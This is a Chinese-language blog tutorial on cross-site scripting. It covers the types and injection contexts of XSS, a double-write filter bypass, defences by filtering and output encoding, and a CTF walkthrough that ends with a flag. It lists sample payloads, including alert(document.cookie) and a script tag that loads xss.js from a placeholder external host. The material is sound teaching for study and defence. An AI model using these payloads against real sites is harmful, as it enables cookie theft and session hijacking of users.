XSS漏洞

XSS漏洞

什么是XSS?

跨站脚本攻击,Cross-Site Scripting, 为了和CSS(层叠样式表)区分开来,把第一个字母C改成了X,也就是现在所说的XSS攻击。

XSS的危害

窃取cookie, 劫持对话,网络钓鱼,放马挖矿,广告刷流量,劫持后台,篡改页面,传播蠕虫,内网扫描。

XSS作用位置

用户输入作为script标签内容
用户输入作为HTML注释内容
用户输入作为HTML标签的属性名
用户输入作为HTML标签的属性值
用户输入作为HTML标签的名字
直接插入到CSS里

XSS脚本

<script>alert("hacker")</script>				#弹出hacker
<script>alert(/hacker/)</script>				#弹出hacker
<script>alert(1)</script>						#弹出1, 对于数字可以不用引号
<script>alert(document.cookie)</script>			弹出cookie
<script src=http://XXX.com/xss.js></script>		#引用外部的xss

XSS的分类

反射型XSS

反射型XSS是非持久性、参数型跨站脚本。反射型XSS的JS代码在web应用的参数(变量)中,如搜索框的反射型XSS。

image

存储型XSS

存储型XSS是持久性跨站脚本,持久性体现在xss代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS通常发生在留言板等地方。

image

DOM型XSS

定义:owasp关于DOM型XSS的定义是基于DOM的XSS是一种XSS攻击,其中攻击的payloadi由于修改受害者浏览器页面的DOM树而执行的。

image

XSS常见绕过

双写绕过

网站中设置黑名单,检测到黑名单中的字符串,会被替换掉,从而规避掉恶意代码,这种情况可以视情况而定,选择合适的双写格式进行检查绕过。

XSS防范

防范办法

对用户的输入(和URL参数)进行过滤,对输出进行html编码,也就是对用户提交的所有内容进行过滤,对url中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行html编码,使脚本无法在浏览器中执行。

实战练习

先对首页输入任意的内容进行测试
image
接下来对页面源码进行查看,发现该网页存在XSS漏洞
image
尝试输入
image
发现并没有出现弹窗,大概率是把script代码过滤掉了,这里我们尝试双写绕过
image
发现虽然script代码没有被过滤,但是仍然没有出现弹窗,此时联想到SQL注入中的闭合,我们尝试把value的值双引号先闭合,构造如下
image
点击确定即可获得flag

flag{747b11f075d2f6f0d599058206190e27}
posted @ 2024-06-23 23:26  Tlomlyiyi  阅读(35)  评论(0编辑  收藏  举报